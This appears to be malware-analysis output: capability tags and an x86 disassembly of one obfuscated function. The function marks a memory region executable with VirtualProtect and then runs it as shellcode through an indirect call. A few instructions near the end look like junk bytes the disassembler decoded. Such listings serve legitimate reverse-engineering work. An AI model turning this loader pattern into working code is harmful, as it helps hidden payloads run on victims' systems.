Function at 0x101f218
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
movzx eax, word [0x10e59e6]
mov dword [ebp - 8], edx
cdq
push esi
mov ecx, edx
mov dword [ebp - 0x10], 0xf
mov edx, dword [0x10e59d8]
mov esi, 0x10e59e6
push edi
mov edi, dword [0x10e5a00]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], ecx
cmp edx, eax
jne 0x101f257
cmp dword [0x10e59dc], ecx
je 0x101f27a
movzx eax, word [esi]
lea ecx, [edx + 5]
imul edi, eax
mov eax, dword [0x10e59f0]
movzx eax, ax
add ecx, edi
mov dword [0x10e5a90], ecx
cmp ecx, eax
je 0x101f285
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
add esi, 2
cmp esi, 0x10e5a44
jl 0x101f24b
push dword [0x10e59dc]
imul esi, dword [ebp - 8], 0x10e1d
mov al, dl
sub al, byte [0x10e5a04]
add al, 0x11
mov dword [0x10e5a00], edi
mov edi, dword [0x10fc8d0]
mov byte [0x10e5a04], al
xor eax, eax
push edx
push eax
push esi
mov dword [0x10e8698], edi
call fcn.010401e0
push 0x10e869c
push 0x40
push 0x305a
push edi
mov dword [0x10e59d8], eax
mov dword [0x10e59dc], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [0x10e59d0]
push 6
pop eax
mov dword [ebp - 0x14], edx
cmp word [0x10e5a02], ax
je 0x101f305
imul eax, dword [0x10e5a00], 0x3d
mov ecx, edx
neg ecx
sub ecx, eax
add dword [0x10e5a90], ecx
jmp 0x101f316
mov eax, dword [0x10e5a90]
add eax, 0x11dde
add eax, edx
mov dword [0x10e5a00], eax
mov ecx, dword [0x10e59d8]
lea eax, [edx + ecx]
movzx edx, word [0x10e59e6]
mov byte [ebp - 1], al
movzx eax, word [0x10e59f2]
add eax, edx
cmp eax, 0x32
jne 0x101f361
mov eax, dword [0x10e59dc]
push eax
push ecx
push eax
push ecx
call fcn.010401e0
push 0xffffffffffffffff
push 0xfffef1e3
push edx
push eax
call fcn.010401e0
add eax, dword [ebp - 8]
push 0
add eax, 0xf
pop ecx
mov dword [ebp - 0xc], eax
jmp 0x101f37c
push dword [0x10e59dc]
push ecx
push 0
push esi
call fcn.010401e0
mov dword [ebp - 0xc], eax
imul eax, eax, 0x37
movzx eax, ax
mov dword [ebp - 0x10], eax
movzx eax, byte [ebp - 1]
mov cl, 0x70
imul eax, eax, 0x1d
mov edi, 0x10e59e6
sub cl, al
mov eax, dword [ebp - 0x14]
movzx eax, al
movzx edx, cl
mov ecx, dword [ebp - 0xc]
imul edx, eax
mov eax, 0x1b47
add dl, cl
mov dword [ebp - 0x14], edx
mov byte [0x10e5a04], dl
cmp word [0x10e5a04], ax
jne 0x101f3cf
movzx eax, word [0x10e59e6]
cdq
mov edx, dword [ebp - 0x14]
add ecx, eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
lea eax, [eax + ecx*2]
add eax, 0x3b
jmp 0x101f3d2
mov eax, dword [ebp - 0x10]
push 6
pop ecx
cmp word [0x10e5a02], cx
jne 0x101f3f0
movzx eax, ax
movzx ecx, dl
add eax, 0x11dde
add eax, ecx
mov dword [0x10e5a00], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [0x10e59d0]
add eax, 5
and dword [0x10e59dc], 0
add eax, ecx
movzx esi, ax
add ecx, 0x23bbc
mov eax, esi
sub eax, dword [ebp - 8]
sub eax, 0x54
mov dword [0x10e59d8], eax
movzx eax, dl
lea eax, [ecx + eax*2]
mov dword [0x10e59d0], eax
call dword [0x10e8698]
mov eax, dword [0x10e59d0]
movzx ecx, byte [0x10e5a04]
add eax, 0x3b
mov edx, dword [ebp - 8]
add eax, ecx
add dword [0x10e59d8], eax
movzx eax, word [0x10e59e6]
adc dword [0x10e59dc], 0
cmp edx, eax
je 0x101f495
movzx ecx, word [edi]
movzx eax, si
imul ecx, eax
movzx esi, cx
lea ecx, [edx + 5]
mov eax, esi
add ecx, eax
xor eax, eax
mov dword [0x10e59dc], eax
mov eax, dword [0x10e59f0]
movzx eax, ax
cdq
mov dword [0x10e59d8], ecx
cmp ecx, eax
jne 0x101f48b
xor eax, eax
cmp eax, edx
je 0x101f4a0
movzx eax, word [0x10e59e6]
mov edx, dword [ebp - 8]
add edi, 2
cmp edi, 0x10e5a44
jl 0x101f454
rcr byte [esi + 0x79], 1
and cl, byte [ebx + 0xe59d80d]
add dword [ebx + 0xe59d015], ecx
add dword [ebx - 0x3f], ebp
cmp eax, 0xf02b006a
sub esi, dword [ebp - 8]
movzx eax, si
add eax, 0x3b
add eax, edx
add ecx, eax
pop eax
adc dword [0x10e59dc], eax
movzx eax, byte [0x10e5a04]
mov dword [0x10e59d8], ecx
movzx ecx, dl
imul ecx, eax
pop edi
pop esi
movzx eax, cl
imul eax, eax, 0x1d
mov byte [0x10e5a04], al
movzx eax, al
imul eax, eax, 0x36
add eax, edx
mov dword [0x10e59d0], eax
leave
ret